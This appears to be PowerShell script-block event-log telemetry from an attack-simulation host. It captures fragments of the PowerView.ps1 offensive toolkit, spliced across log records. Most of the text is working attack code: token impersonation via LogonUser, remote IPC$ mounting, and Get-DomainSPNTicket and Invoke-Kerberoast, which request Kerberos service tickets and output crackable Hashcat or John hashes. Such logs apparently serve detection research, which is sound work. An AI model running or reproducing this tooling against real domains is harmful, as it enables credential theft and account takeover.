'')] [OutputType('System.DirectoryServices.DirectorySearcher')] [CmdletBinding()] Param( [Parameter(ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [String] $SearchBasePrefix, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit = 120, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { if ($PSBoundParameters['Domain']) { $TargetDomain = $Domain if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { # see if we can grab the user DNS logon domain from environment variables $UserDomain = $ENV:USERDNSDOMAIN if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) { $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain" } } } elseif ($PSBoundParameters['Credential']) { # if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain $DomainObject = Get-Domain -Credential $Credential $BindServer = ($DomainObject.PdcRoleOwner).Name $Targ421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666673Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local541 [String[]] $ComputerName, [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] [ValidatePattern('\\\\.*\\.*')] [String[]] $Path, [Parameter(Mandatory = $True)] [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential ) BEGIN { $NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW) $NetResourceInstance.dwType = 1 } PROCESS { $Paths = @() if ($PSBoundParameters['ComputerName']) { ForEach ($TargetComputerName in $ComputerName) { $TargetComputerName = $TargetComputerName.Trim('\') $Paths += ,"\\$TargetComputerName\IPC$" } } else { $Paths += ,$Path } ForEach ($TargetPath in $Paths) { $NetResourceInstance.lpRemoteName = $TargetPath Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath" # https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx # CONNECT_TEMPORARY = 4 $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4) if ($Result -eq 0) { Write-Verbose "$TargetPath successfully mounted" } else { Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" } } } } function Remove-RemoteConnection { <# .SYNOPSIS Destroys a connection created by New-RemoteConnection. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect .DESCRIPTION This function uses WNetCancelConnection2 to destroy a connection created by New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to 'unmount' \\$ComputerName\IPC$. .PARAMETER ComputerName Specifies the system to remove a \\ComputerName\IPC$ connection for. .PARAMETER Path Specifies the remote \\UNC\path to remove the connection for. .EXAMPLE Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local' .EXAMPLE Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' .EXAMPLE @('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [CmdletBinding(DefaultParameterSetName = 'ComputerName')] Param( [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName, [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] [ValidatePattern('\\\\.*\\.*')] [String[]] $Path ) PROCESS { $Paths = @() if ($PSBoundParameters['ComputerName']) { ForEach ($TargetComputerName in $ComputerName) { $TargetComputerName = $TargetComputerName.Trim('\') $Paths += ,"\\$TargetComputerName\IPC$" } } else { $Paths += ,$Path } ForEach ($TargetPath in $Paths) { Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath" $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True) if ($Result -eq 0) { Write-Verbose "$TargetPath successfully ummounted" } else { Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" } } } } function Invoke-UserImpersonation { <# .SYNOPSIS Creates a new "runas /netonly" type logon and impersonates the token. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect .DESCRIPTION This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType to simulate "runas /netonly". The resulting token is then impersonated with ImpersonateLoggedOnUser() and the token handle is returned for later usage with Invoke-RevertToSelf. .PARAMETER Credential A [Management.Automation.PSCredential] object with alternate credentials to impersonate in the current thread space. .PARAMETER TokenHandle An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation. If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser() is executed. .PARAMETER Quiet Suppress any warnings about STA vs MTA. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Invoke-UserImpersonation -Credential $Cred .OUTPUTS IntPtr The TokenHandle result from LogonUser. #> [OutputType([IntPtr])] [CmdletBinding(DefaultParameterSetName = 'Credential')] Param( [Parameter(Mandatory = $True, ParameterSetName = 'Credential')] [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential, [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')] [ValidateNotNull()] [IntPtr] $TokenHandle, [Switch] $Quiet ) if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) { Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work." } if ($PSBoundParameters['TokenHandle']) { $LogonTokenHandle = $TokenHandle } else { $LogonTokenHandle = [IntPtr]::Zero $NetworkCredential = $Credential.GetNetworkCredential() $UserDomain = $NetworkCredential.Domain $UserName = $NetworkCredential.UserName Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)" # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3 # this is to simulate "runas.exe /netonly" functionality $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); if (-not $Result) { throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } } # actually impersonate the token from LogonUser() $Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle) if (-not $Result) { throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated" $LogonTokenHandle } function Invoke-RevertToSelf { <# .SYNOPSIS Reverts any token impersonation. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect .DESCRIPTION This function uses RevertToSelf() to revert any impersonated tokens. If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation), CloseHandle() is used to close the opened handle. .PARAMETER TokenHandle An optional IntPtr TokenHandle returned by Invoke-UserImpersonation. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $Token = Invoke-UserImpersonation -Credential $Cred Invoke-RevertToSelf -TokenHandle $Token #> [CmdletBinding()] Param( [ValidateNotNull()] [IntPtr] $TokenHandle ) if ($PSBoundParameters['TokenHandle']) { Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle" $Result = $Kernel32::CloseHandle($TokenHandle) } $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); if (-not $Result) { throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted" } function Get-DomainSPNTicket { <# .SYNOPSIS Request the kerberos ticket for a specified service principal name (SPN). Author: machosec, Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will either take one/more SPN strings, or one/more PowerView.User objects (the output from Get-DomainUser) and will request a kerberos ticket for the given SPN using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted portion of the ticket is then extracted and output in either crackable John or Hashcat format (deafult of Hashcat). .PARAMETER SPN Specifies the service principal name to request the ticket for. .PARAMETER User Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. .PARAMETER OutputFormat Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. Defaults to 'John'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote domain using Invoke-UserImpersonation. .EXAMPLE Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" Request a kerberos service ticket for the specified SPN. .EXAMPLE "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket Request kerberos service tickets for all SPNs passed on the pipeline. .EXAMPLE Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR Request kerberos service tickets for all users with non-null SPNs and output in JTR format. .INPUTS String Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. .INPUTS PowerView.User Accepts one or more PowerView.User objects on the pipeline with the User parameter set. .OUTPUTS PowerView.SPNTicket Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. #> [OutputType('PowerView.SPNTicket')] [CmdletBinding(DefaultParameterSetName = 'RawSPN')] Param ( [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] [ValidatePattern('.*/.*')] [Alias('ServicePrincipalName')] [String[]] $SPN, [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] [Object[]] $User, [ValidateSet('John', 'Hashcat')] [Alias('Format')] [String] $OutputFormat = 'Hashcat', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { if ($PSBoundParameters['User']) { $TargetObject = $User } else { $TargetObject = $SPN } ForEach ($Object in $TargetObject) { if ($PSBoundParameters['User']) { $UserSPN = $Object.ServicePrincipalName $SamAccountName = $Object.SamAccountName $DistinguishedName = $Object.DistinguishedName } else { $UserSPN = $Object $SamAccountName = 'UNKNOWN' $DistinguishedName = 'UNKNOWN' } # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { $UserSPN = $UserSPN[0] } try { $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN } catch { Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" } if ($Ticket) { $TicketByteStream = $Ticket.GetRequest() } if ($TicketByteStream) { $Out = New-Object PSObject $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1) # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') { $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" $Hash = $null $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) } else { $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" $Out | Add-Member Noteproperty 'TicketByteHexStream' $null } } else { Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" $Hash = $null $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) } if($Hash) { # JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe... if ($OutputFormat -match 'John') { $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" } else { if ($DistinguishedName -ne 'UNKNOWN') { $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } else { $UserDomain = 'UNKNOWN' } # hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe... $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" } $Out | Add-Member Noteproperty 'Hash' $HashFormat } $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') $Out } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Invoke-Kerberoast { <# .SYNOPSIS Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. Author: Will Schroeder (@harmj0y), @machosec License: BSD 3-Clause Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket .DESCRIPTION Uses Get-DomainUser to query for user accounts with non-null service principle names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. The ticket format can be specified with -OutputFormat <John/Hashcat>. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER OutputFormat Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. Defaults to 'Hashcat'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Invoke-Kerberoast | fl Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default). .EXAMPLE Invoke-Kerberoast -Domain dev.testlab.local | fl Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR format instead of Hashcat. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce $Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. .OUTPUTS PowerView.SPNTicket Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. #> [Di421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666672Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local441avily based on Bill Stewart's code and Pasquale Lantella's code (in LINK) and translates Active Directory names between various formats using the NameTranslate COM object. .PARAMETER Identity Specifies the Active Directory object name to translate, of the following form: DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' NT4 domain\username; e.g., 'fabrikam\pflynn' Display display name, e.g. 'pflynn' DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' UPN user principal name; e.g., 'pflynn@fabrikam.com' CanonicalEx extended canonical name format SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999' .PARAMETER OutputType Specifies the output name type you want to convert to, which must be one of the following: DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' NT4 domain\username; e.g., 'fabrikam\pflynn' Display display name, e.g. 'pflynn' DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' UPN user principal name; e.g., 'pflynn@fabrikam.com' CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn' SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' .PARAMETER Domain Specifies the domain to use for the translation, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to for the translation. .PARAMETER Credential Specifies an alternate credential to use for the translation. .EXAMPLE Convert-ADName -Identity "TESTLAB\harmj0y" harmj0y@testlab.local .EXAMPLE "TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical testlab.local/Users/krbtgt testlab.local/Users/Administrator .EXAMPLE Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local CN=harmj0y,CN=Users,DC=testlab,DC=local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) 'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred TESTLAB\harmj0y .INPUTS String Accepts one or more objects name strings on the pipeline. .OUTPUTS String Outputs a string representing the converted name. .LINK http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67 #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [OutputType([String])] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name', 'ObjectName')] [String[]] $Identity, [String] [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')] $OutputType, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $NameTypes = @{ 'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com 'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn 'NT4' = 3 # fabrikam\pflynn 'Display' = 4 # pflynn 'DomainSimple' = 5 # pflynn@fabrikam.com 'EnterpriseSimple' = 6 # pflynn@fabrikam.com 'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436} 'Unknown' = 8 # unknown type - let the server do translation 'UPN' = 9 # pflynn@fabrikam.com 'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn 'SPN' = 11 # HTTP/kairomac.contoso.com 'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999 } # accessor functions from Bill Stewart to simplify calls to NameTranslate function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { $Output = $Null $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters) Write-Output $Output } function Get-Property([__ComObject] $Object, [String] $Property) { $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL) } function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters) } # https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx if ($PSBoundParameters['Server']) { $ADSInitType = 2 $InitName = $Server } elseif ($PSBoundParameters['Domain']) { $ADSInitType = 1 $InitName = $Domain } elseif ($PSBoundParameters['Credential']) { $Cred = $Credential.GetNetworkCredential() $ADSInitType = 1 $InitName = $Cred.Domain } else { # if no domain or server is specified, default to GC initialization $ADSInitType = 3 $InitName = $Null } } PROCESS { ForEach ($TargetIdentity in $Identity) { if (-not $PSBoundParameters['OutputType']) { if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") { $ADSOutputType = $NameTypes['DomainSimple'] } else { $ADSOutputType = $NameTypes['NT4'] } } else { $ADSOutputType = $NameTypes[$OutputType] } $Translate = New-Object -ComObject NameTranslate if ($PSBoundParameters['Credential']) { try { $Cred = $Credential.GetNetworkCredential() Invoke-Method $Translate 'InitEx' ( $ADSInitType, $InitName, $Cred.UserName, $Cred.Domain, $Cred.Password ) } catch { Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_" } } else { try { $Null = Invoke-Method $Translate 'Init' ( $ADSInitType, $InitName ) } catch { Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_" } } # always chase all referrals Set-Property $Translate 'ChaseReferral' (0x60) try { # 8 = Unknown name type -> let the server do the work for us $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity) Invoke-Method $Translate 'Get' ($ADSOutputType) } catch [System.Management.Automation.MethodInvocationException] { Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)" } } } } function ConvertFrom-UACValue { <# .SYNOPSIS Converts a UAC int value to human readable form. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION This function will take an integer that represents a User Account Control (UAC) binary blob and will covert it to an ordered dictionary with each bitwise value broken out. By default only values set are displayed- the -ShowAll switch will display all values with a + next to the ones set. .PARAMETER Value Specifies the integer UAC value to convert. .PARAMETER ShowAll Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set. .EXAMPLE ConvertFrom-UACValue -Value 66176 Name Value ---- ----- ENCRYPTED_TEXT_PWD_ALLOWED 128 NORMAL_ACCOUNT 512 DONT_EXPIRE_PASSWORD 65536 .EXAMPLE Get-DomainUser harmj0y | ConvertFrom-UACValue Name Value ---- ----- NORMAL_ACCOUNT 512 DONT_EXPIRE_PASSWORD 65536 .EXAMPLE Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll Name Value ---- ----- SCRIPT 1 ACCOUNTDISABLE 2 HOMEDIR_REQUIRED 8 LOCKOUT 16 PASSWD_NOTREQD 32 PASSWD_CANT_CHANGE 64 ENCRYPTED_TEXT_PWD_ALLOWED 128 TEMP_DUPLICATE_ACCOUNT 256 NORMAL_ACCOUNT 512+ INTERDOMAIN_TRUST_ACCOUNT 2048 WORKSTATION_TRUST_ACCOUNT 4096 SERVER_TRUST_ACCOUNT 8192 DONT_EXPIRE_PASSWORD 65536+ MNS_LOGON_ACCOUNT 131072 SMARTCARD_REQUIRED 262144 TRUSTED_FOR_DELEGATION 524288 NOT_DELEGATED 1048576 USE_DES_KEY_ONLY 2097152 DONT_REQ_PREAUTH 4194304 PASSWORD_EXPIRED 8388608 TRUSTED_TO_AUTH_FOR_DELEGATION 16777216 PARTIAL_SECRETS_ACCOUNT 67108864 .INPUTS Int Accepts an integer representing a UAC binary blob. .OUTPUTS System.Collections.Specialized.OrderedDictionary An ordered dictionary with the converted UAC fields. .LINK https://support.microsoft.com/en-us/kb/305144 #> [OutputType('System.Collections.Specialized.OrderedDictionary')] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('UAC', 'useraccountcontrol')] [Int] $Value, [Switch] $ShowAll ) BEGIN { # values from https://support.microsoft.com/en-us/kb/305144 $UACValues = New-Object System.Collections.Specialized.OrderedDictionary $UACValues.Add("SCRIPT", 1) $UACValues.Add("ACCOUNTDISABLE", 2) $UACValues.Add("HOMEDIR_REQUIRED", 8) $UACValues.Add("LOCKOUT", 16) $UACValues.Add("PASSWD_NOTREQD", 32) $UACValues.Add("PASSWD_CANT_CHANGE", 64) $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) $UACValues.Add("NORMAL_ACCOUNT", 512) $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) $UACValues.Add("MNS_LOGON_ACCOUNT", 131072) $UACValues.Add("SMARTCARD_REQUIRED", 262144) $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) $UACValues.Add("NOT_DELEGATED", 1048576) $UACValues.Add("USE_DES_KEY_ONLY", 2097152) $UACValues.Add("DONT_REQ_PREAUTH", 4194304) $UACValues.Add("PASSWORD_EXPIRED", 8388608) $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) } PROCESS { $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary if ($ShowAll) { ForEach ($UACValue in $UACValues.GetEnumerator()) { if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") } else { $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") } } } else { ForEach ($UACValue in $UACValues.GetEnumerator()) { if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") } } } $ResultUACValues } } function Get-PrincipalContext { <# .SYNOPSIS Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext and simplified identity. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .PARAMETER Identity A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202), or a DOMAIN\username identity. .PARAMETER Domain Specifies the domain to use to search for user/group principals, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True)] [Alias('GroupName', 'GroupIdentity')] [String] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) Add-Type -AssemblyName System.DirectoryServices.AccountManagement try { if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) { if ($Identity -match '.+\\.+') { # DOMAIN\groupname $ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical if ($ConvertedIdentity) { $ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/')) $ObjectIdentity = $Identity.Split('\')[1] Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'" } } else { $ObjectIdentity = $Identity Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'" $ConnectTarget = $Domain } if ($PSBoundParameters['Credential']) { Write-Verbose '[Get-PrincipalContext] Using alternate credentials' $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password) } else { $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList 